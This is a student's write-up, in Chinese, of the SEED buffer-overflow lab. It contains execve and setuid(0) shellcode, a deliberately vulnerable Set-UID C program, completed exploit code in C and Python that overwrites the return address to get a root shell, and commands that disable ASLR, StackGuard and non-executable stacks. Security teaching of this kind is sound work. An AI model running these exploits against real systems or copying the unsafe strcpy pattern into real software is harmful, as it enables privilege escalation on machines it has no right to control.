Buffer-Overflow_Vulnerability_Lab

  • 注:经过听说和实践,Seed_Ubuntu20.04在做这个实验时bug较多,故选用了SeedUbuntu16.04的实验版本(结果也有小问题)。

1. 概述

  • 本实验的学习目标是让学生通过将他们在课堂上学到的关于缓冲区溢出漏洞的知识付诸实践,获得有关缓冲区溢出漏洞的第一手经验。 缓冲区溢出被定义为程序试图将数据写入超出预先分配的固定长度缓冲区边界的情况。 该漏洞可被恶意用户用来改变程序的流量控制,导致恶意代码的执行。
  • 在本实验中,学生将获得一个具有缓冲区溢出漏洞的程序; 他们的任务是开发利用漏洞的方案,最终获得root权限。 除了攻击之外,还将引导学生了解操作系统中实施的几种保护方案,以应对缓冲区溢出攻击。 学生需要评估这些计划是否有效并解释原因。 本实验涵盖以下主题:
    • 缓冲区溢出漏洞和攻击
    • 函数调用中的堆栈布局
    • 解决随机化、非可执行堆栈和StackGuard
    • Shellcode。我们有一个独立的实验,专门研究如何从头开始编写shellcode。
    • return-to-libc攻击,其目的是击败非可执行堆栈对策,包括在一个单独的实验中。
  • 不同的值可以使解决方案不同。本次实验的BUF_SIZE是24。

实验环境

  • SEED_Ubuntu 16.04虚拟机

2. 实验任务

2.1 关闭对策

  • Ubuntu和其他Linux发行版已经实现了一些安全机制,使缓冲区溢出攻击变得困难。为了简化我们的攻击,我们需要先摧毁他们。稍后,我们将逐个启用它们,看看我们的攻击是否还能成功。
地址空间随机化
  • Ubuntu和其他几个基于Linux的系统使用地址空间随机化来随机化堆和堆栈的起始地址。这使得猜测确切地址变得困难;猜测地址是缓冲区溢出攻击的关键步骤之一。在本实验室中,我们使用以下命令禁用此功能:
$ sudo sysctl -w kernel.randomize_va_space=0

实验操作

image-20211119212645372

StackGuard保护方案
  • GCC编译器实现了一种称为StackGuard的安全机制,以防止缓冲区溢出。在存在这种保护的情况下,缓冲区溢出攻击将不起作用。

  • 我们可以在编译期间使用-fno-stack-protector选项禁用此保护。例如,要编译一个禁用StackGuard的程序example.c,我们可以做以下操作:

    $ gcc -fno-stack-protector example.c
    
Non-Executable Stack
  • Ubuntu过去允许可执行堆栈,但现在已经改变了:程序(和共享库)的二进制映像必须声明它们是否需要可执行堆栈,也就是说,它们需要在程序头中标记一个字段。内核或动态连接器使用此标记来决定是否使运行中的程序的堆栈为可执行的或不可执行的。这个标记是由gcc的最新版本自动完成的,默认情况下,堆栈被设置为不可执行的。

  • 要改变这种情况,请在编译程序时使用以下选项:

    For executable stack:
    $ gcc -z execstack -o test test.c
    For non-executable stack:
    $ gcc -z noexecstack -o test test.c
    
配置/bin/sh(仅适用于Ubuntu 16.04虚拟机)
  • 在Ubuntu 12.04和Ubuntu 16.04虚拟机中,/bin/sh符号链接指向/bin/dash shell。然而,这两个虚拟机中的dash程序有一个重要的区别。

  • Ubuntu 16.04中的dash shell有一个对策,防止它在Set-UID进程中被执行。基本上,如果dash检测到它是在Set-UID进程中执行的,它会立即将有效用户ID更改为进程的真实用户ID,本质上是删除特权。Ubuntu 12.04中的dash程序没有这种行为。

  • 由于我们的受害者程序是一个Set-UID程序,并且我们的攻击依赖于运行/bin/sh/bin/dash中的对策使我们的攻击更加困难。

  • 因此,我们将把/bin/sh链接到另一个没有这种对策的shell(在后面的任务中,我们将说明,只要多做一点努力,/bin/dash中的对策就可以很容易地被击败)。

  • 我们在Ubuntu 16.04虚拟机中安装了一个名为zsh的shell程序。我们使用以下命令将/bin/sh链接到zsh(在Ubuntu 12.04中不需要这样做):

    $ sudo ln -sf /bin/zsh /bin/sh
    

实验操作

image-20211120160147224

2.2 任务1:运行Shellcode

  • 在开始攻击之前,让我们先熟悉一下shellcodeshellcode是启动shell的代码。它必须被加载到内存中这样我们才能迫使易受攻击的程序跳转到内存中。

  • 考虑以下程序:

    #include <stdio.h>
    int main() {
    	char *name[2];
    	name[0] = "/bin/sh";
    	name[1] = NULL;
    	execve(name[0], name, NULL);
    }
    
  • 我们使用的shellcode只是上面程序的汇编版本。

  • 下面的程序演示了如何通过执行存储在缓冲区中的shellcode来启动shell。

  • 请编译并运行以下代码,看看是否调用了shell。你可以从网站上下载这个程序。如果您对编写自己的shellcode感兴趣,我们有一个单独的SEED实验。

    /* call_shellcode.c  */
    
    /*A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    const char code[] =
      "\x31\xc0"             /* xorl    %eax,%eax              */
      "\x50"                 /* pushl   %eax                   */
      "\x68""//sh"           /* pushl   $0x68732f2f            */
      "\x68""/bin"           /* pushl   $0x6e69622f            */
      "\x89\xe3"             /* movl    %esp,%ebx              */
      "\x50"                 /* pushl   %eax                   */
      "\x53"                 /* pushl   %ebx                   */
      "\x89\xe1"             /* movl    %esp,%ecx              */
      "\x99"                 /* cdq                            */
      "\xb0\x0b"             /* movb    $0x0b,%al              */
      "\xcd\x80"             /* int     $0x80                  */
    ;
    
    int main(int argc, char **argv)
    {
       char buf[sizeof(code)];
       strcpy(buf, code);
       ((void(*)( ))buf)( );
    } 
    
    • 使用下面的gcc命令编译上面的代码。运行程序并描述您的观察结果。请不要忘记使用execstack选项,它允许从堆栈执行代码;如果没有这个选项,程序将会失败。
实验过程

image-20211120161107619

  • 上面的shellcode调用execve()系统调用来执行/bin/sh。在这个shellcode中有几个地方值得一提。

  • 首先,第三条指令将" //sh “而不是” /sh “推入堆栈。这是因为我们需要一个32位的数字,而“/sh”只有24位。幸运的是,” // “等价于” / ",所以我们可以使用双斜杠符号。

  • 其次,在调用execve()系统调用之前,我们需要将name[0](字符串的地址)、name(数组的地址)和NULL分别存储到%ebx%ecx%edx寄存器中。第5行存储name[0]%ebx;第8行存储name%ecx;第9行设置%edx为零。

  • 还有其他方法设置%edx为零(例如,xorl %edx,%edx);这里使用的(cdq)只是一条更短的指令:它将EAX寄存器(此时为0)中的值的符号(第31位)复制到EDX寄存器的每个位的位置,基本上将%edx设置为0。

  • 第三,当我们将%al设置为11,并执行“int $0x80”时,系统调用execve()

2.3 易受攻击的程序

  • 将向您提供以下程序,该程序第①行中存在缓冲区溢出漏洞。您的任务是利用此漏洞并获得根权限。

    /* Vunlerable program: stack.c */
    /* You can get this program from the lab's website */
    
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    /* Changing this size will change the layout of the stack.
     * Instructors can change this value each year, so students
     * won't be able to use the solutions from the past.
     * Suggested value: between 0 and 400  */
    #ifndef BUF_SIZE
    #define BUF_SIZE 24
    #endif
    
    int bof(char *str)
    {
        char buffer[BUF_SIZE];
    
        /* The following statement has a buffer overflow problem */
        strcpy(buffer, str);       
    
        return 1;
    }
    
    int main(int argc, char **argv)
    {
        char str[517];
        FILE *badfile;
    
         /* Change the size of the dummy array to randomize the parameters
           for this lab. Need to use the array at least once */
        char dummy[BUF_SIZE];  memset(dummy, 0, BUF_SIZE);
    
        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 517, badfile);
        bof(str);
        printf("Returned Properly\n");
        return 1;
    }
    
    • 上述程序存在缓冲区溢出漏洞。它首先从名为badfile的文件中读取输入,然后将该输入传递到函数bof()中的另一个缓冲区。原始输入的最大长度可以是517字节,但bof()中的缓冲区长度仅为BUF_SIZE字节,小于517字节。因为strcpy()不检查边界,所以会发生缓冲区溢出。由于此程序是root所有的Set-UID程序,如果普通用户可以利用此缓冲区溢出漏洞进行攻击,则用户可能能够获得root shell。应该注意的是,程序从一个名为badfile的文件获取输入。此文件由用户控制。现在,我们的目标是为badfile创建内容,这样当易受攻击的程序将内容复制到其缓冲区时,就可以生成一个root shell
编译过程
  • 要编译上述易受攻击的程序,不要忘记使用-fno-stack-protector-z execstack选项关闭StackGuard和非可执行堆栈保护。
  • 编译之后,我们需要使程序成为根拥有的Set-UID程序。我们可以通过首先将程序的所有权更改为root(行①),然后将权限更改为4755以启用Set-UID位(行②)来实现这一点。需要注意的是,所有权的变更必须在开启Set-UID位之前完成,因为所有权的变更会导致Set-UID位被关闭。
// Note: N should be replaced by the value set by the instructor
$ gcc -DBUF_SIZE=N -o stack -z execstack -fno-stack-protector stack.c
$ sudo chown root stack ①
$ sudo chmod 4755 stack ②

2.4 任务2:利用漏洞

  • 我们为您提供一个部分完成的exploit代码,称为exploit.c。这段代码的目的是为badfile构造内容。在这个代码中,shellcode是给你的。你需要开发剩下的部分。
/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */ 
    int len=strlen(shellcode);
    for(int i=0;i<len;i++)
    {
        buffer[517-len+i]=shellcode[i];
    }
    //计算返回地址
    int ret=0xbfffeae8+517-len;
	//修改返回地址(小端法)
    buffer[0xbfffeb08-0xbfffeae8+4]=ret&0xff;
    buffer[0xbfffeb08-0xbfffeae8+5]=(ret>>8)&0xff;
    buffer[0xbfffeb08-0xbfffeae8+6]=(ret>>16)&0xff;
    buffer[0xbfffeb08-0xbfffeae8+7]=(ret>>24)&0xff;
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
  • 完成上述程序后,编译并运行它。这将生成badfile的内容。然后运行易受攻击的程序堆栈。如果你的漏洞实现正确,你应该能够得到一个root shell:
  • 重要提示:请先编译您的易受攻击的程序。请注意,可以在启用默认StackGuard保护的情况下编译生成badfileexploit.c程序。这是因为我们不会使程序中的缓冲区溢出。我们将溢出stack.c中的缓冲区,这是在禁用了StackGuard保护的情况下编译的。
实验过程
  • 修改stack.c,使BUF_SIZE为24。

    image-20211120172721636

  • 关闭保护机制后,使用-g选项编译stack.c,进行gdb调试。

image-20211120181140321

image-20211120190221824

  • 得到调用bof()ebp的地址为0xbfffeb08buffer首地址为0xbfffeae8

  • 经过测试,若新的返回地址不是恶意代码的起始地址,(可能因为nop)在执行时产生段错误!(在gdb中可以正常运行)

  • 将以下部分用以补全exploit.c

        int len=strlen(shellcode);
        for(int i=0;i<len;i++)
        {
            buffer[517-len+i]=shellcode[i];
        }
        //计算返回地址
        int ret=0xbfffeae8+517-len;
    	//修改返回地址(小端法)
        buffer[0xbfffeb08-0xbfffeae8+4]=ret&0xff;
        buffer[0xbfffeb08-0xbfffeae8+5]=(ret>>8)&0xff;
        buffer[0xbfffeb08-0xbfffeae8+6]=(ret>>16)&0xff;
        buffer[0xbfffeb08-0xbfffeae8+7]=(ret>>24)&0xff;
    
  • 编译stack.cexploit.c,将stack设置为Set-UID程序。运行可执行程序:

    image-20211120193524595

  • 用python生成badfile:

    #!/usr/bin/python3
    import sys
    
    shellcode= (
       "\x31\xc0"    # xorl    %eax,%eax
       "\x50"        # pushl   %eax
       "\x68""//sh"  # pushl   $0x68732f2f
       "\x68""/bin"  # pushl   $0x6e69622f
       "\x89\xe3"    # movl    %esp,%ebx
       "\x50"        # pushl   %eax
       "\x53"        # pushl   %ebx
       "\x89\xe1"    # movl    %esp,%ecx
       "\x99"        # cdq
       "\xb0\x0b"    # movb    $0x0b,%al
       "\xcd\x80"    # int     $0x80
    ).encode('latin-1')
    
    
    # Fill the content with NOP's
    content = bytearray(0x90 for i in range(517)) 
    
    # Put the shellcode at the end
    start = 517 - len(shellcode) 
    content[start:] = shellcode
    
    ##################################################################
    ret    = 0xbfffeae8+517-len(shellcode)    # replace 0xAABBCCDD with the correct value
    offset = 0x24            # replace 0 with the correct value
    
    content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little') 
    ##################################################################
    
    # Write the content to a file
    with open('badfile', 'wb') as f:
      f.write(content)
    

    image-20211120193648209

2.5 任务3:击败dash的对策

  • 正如我们之前解释过的,当Ubuntu 16.04中的dash shell检测到有效的UID不等于真正的UID时,它会删除权限。
  • 这可以从dash程序的更新日志中观察到。我们可以在Line①中看到一个额外的检查,它比较真实和有效的用户/组id。
// https://launchpadlibrarian.net/240241543/dash_0.5.8-2.1ubuntu2.diff.gz
// main() function in main.c has following changes:
++ uid = getuid();
++ gid = getgid();
++ /*
++ * To limit bogus system(3) or popen(3) calls in setuid binaries,
++ * require -p flag to work in this situation.
++ */
++ if (!pflag && (uid != geteuid() || gid != getegid())) { À
++ setuid(uid);
++ setgid(gid);
++ /* PS1 might need to be changed accordingly. */
++ choose_ps1();
++ }
  • dash中实施的对策是可以被击败的。一种方法是不在shellcode中调用/bin/sh;相反,我们可以调用另一个shell程序。这种方法需要在系统中出现另一个shell程序,例如zsh

  • 另一种方法是在调用dash程序之前将受害进程的实际用户ID更改为零。我们可以通过在shellcode中执行execve()之前调用setuid(0)来实现这一点。在本任务中,我们将使用这种方法。我们将首先更改/bin/sh符号链接,使其指向/bin/dash

    $ sudo ln -sf /bin/dash /bin/sh
    

实验操作

image-20211120211410681

  • 为了了解dash中的对策是如何工作的,以及如何使用系统调用setuid(0)来击败它,我们编写了下面的C程序。
  • 我们首先注释掉①行,并以Set-UID程序的形式运行该程序(所有者应该是root);请描述一下你的观察。
  • 然后取消对行①的注释,再次运行程序;请描述一下你的观察。
// dash_shell_test.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
    char *argv[2];
    argv[0] = "/bin/sh";
    argv[1] = NULL;
    // setuid(0); ①
    execve("/bin/sh", argv, NULL);
    return 0;
}
  • 上面的程序可以使用以下命令编译和设置(我们需要使它成为root拥有的set -uid程序):

    $ gcc dash_shell_test.c -o dash_shell_test
    $ sudo chown root dash_shell_test
    $ sudo chmod 4755 dash_shell_test
    
  • 从上面的实验中,我们可以看到seuid(0)是有区别的。在调用execve()之前,让我们在shellcode的开头添加用于调用此系统调用的程序集代码。

char shellcode[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x31\xdb" /* Line 2: xorl %ebx,%ebx */
"\xb0\xd5" /* Line 3: movb $0xd5,%al */
"\xcd\x80" /* Line 4: int $0x80 */
// ---- The code below is the same as the one in Task 2 ---
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
  • 更新后的shellcode增加了4条指令:

    • (1)在第2行设置ebx为零,

    • (2)通过第1行和第3行设置eax为0xd5 (0xd5是setuid()的系统调用号)

    • (3)在第4行执行系统调用。

  • 使用这个shellcode,当/bin/sh链接到/bin/dash时,我们可以尝试对脆弱的程序进行攻击。

  • 使用上面的shellcode修改exploit.cexploit.py;再次尝试从Task 2进行攻击,看看能否获得root shell

  • 请描述和解释你的结果。

实验过程
  • 注释①的dash_shell_test:shell以$开头,uid=1000。

    image-20211120222256558

  • 没有注释①的dash_shell_test:shell以#开头,uid=0。

    image-20211120222827079

  • 使用上面的shellcode修改exploit.c,攻击如下:结果与任务2一致。

    image-20211120223322348

2.6 任务4:击败地址随机化

  • 在32位Linux机器上,堆栈只有19位熵,这意味着堆栈基地址可以是 2 19 = 524288 2^{19} = 524288 219=524288种的可能性。
  • 这个数字并没有那么高,并且可以很容易地用蛮力方法耗尽。
  • 在这个任务中,我们使用这种方法来击败32位VM上的地址随机化对策。
  • 首先,我们使用下面的命令打开Ubuntu的地址随机化。我们运行Task 2中开发的相同攻击。请描述和解释你的观察。
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
实验过程1
  • image-20211120223819421

    • 提示Segmentation fault,攻击失败。
  • 然后我们使用蛮力方法反复攻击脆弱的程序,希望我们放入坏文件中的地址最终是正确的。

  • 您可以使用下面的shell脚本在无限循环中运行易受攻击的程序。

  • 如果攻击成功,脚本将停止;否则,它将继续运行。

  • 请耐心点,因为这可能需要一段时间。如果需要的话,让它运行一夜。

  • 请描述一下你的观察。

实验过程2
  • 脚本attack.sh如下:

    image-20211120224432478

  • 运行结果:

    image-20211120224521975

2.7 任务5:打开StackGuard保护

  • 在完成这个任务之前,请记住首先关闭地址随机化,否则您将不知道哪个保护有助于实现保护。在之前的任务中,我们在编译程序时禁用了GCC中的StackGuard保护机制。

  • 在这个任务中,您可以考虑在StackGuard存在的情况下重复任务2。要做到这一点,您应该在没有-fno-stack-protector选项的情况下编译程序。

  • 对于这个任务,您将重新编译易受攻击的程序stack.c,去使用GCC StackGuard,再次执行任务2,并报告您的观察结果。您可以报告观察到的任何错误消息。

    (在GCC 4.3.3及以上版本中,StackGuard默认是启用的。因此,您必须使用前面提到的开关禁用StackGuard。在早期的版本中,默认情况下是禁用的。如果您使用较老的GCC版本,您可能不需要禁用StackGuard。)

实验过程

image-20211120232443052

  • 检测到栈崩溃。夭折。

2.8 任务6:打开非可执行堆栈保护

  • 在完成这个任务之前,请记住首先关闭地址随机化,否则您将不知道哪个保护有助于实现保护。
  • 在前面的任务中,我们故意使堆栈可执行。在这个任务中,我们使用noexecstack选项重新编译脆弱的程序,并在任务2中重复攻击。你能得到一个shell吗?如果没有,是什么问题?这个保护方案如何使您的攻击变得困难?你应该在你的实验报告中描述你的观察和解释。
  • 您可以使用以下说明来打开非可执行堆栈保护。
$ gcc -o stack -fno-stack-protector -z noexecstack stack.c
  • 需要注意的是,非可执行堆栈只会使在堆栈上运行shellcode变得不可能,但它并不能防止缓冲区溢出攻击,因为在利用缓冲区溢出漏洞之后,还有其他方法可以运行恶意代码。return-to-libc就是一个例子。我们为这次袭击设计了一个单独的实验。如果您感兴趣,请参阅我们的return-to-libc实验的详细信息。
  • 如果你正在使用我们的Ubuntu 12.04/16.04虚拟机,这个非执行堆栈保护是否有效取决于CPU和你的虚拟机设置,因为这个保护取决于CPU提供的硬件特性。
  • 如果您发现非可执行堆栈保护不起作用,请查看我们链接到实验室网页的文档(“non-executable stack Notes”),看看文档中的说明是否可以帮助您解决问题。如果没有,那么你可能需要自己解决问题。
实验过程

image-20211120233109553

  • 提示Segmentation fault,攻击失败。

开非可执行堆栈保护。

$ gcc -o stack -fno-stack-protector -z noexecstack stack.c
  • 需要注意的是,非可执行堆栈只会使在堆栈上运行shellcode变得不可能,但它并不能防止缓冲区溢出攻击,因为在利用缓冲区溢出漏洞之后,还有其他方法可以运行恶意代码。return-to-libc就是一个例子。我们为这次袭击设计了一个单独的实验。如果您感兴趣,请参阅我们的return-to-libc实验的详细信息。
  • 如果你正在使用我们的Ubuntu 12.04/16.04虚拟机,这个非执行堆栈保护是否有效取决于CPU和你的虚拟机设置,因为这个保护取决于CPU提供的硬件特性。
  • 如果您发现非可执行堆栈保护不起作用,请查看我们链接到实验室网页的文档(“non-executable stack Notes”),看看文档中的说明是否可以帮助您解决问题。如果没有,那么你可能需要自己解决问题。
实验过程

[外链图片转存中…(img-it6lbuK3-1638674848840)]

  • 提示Segmentation fault,攻击失败。
Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐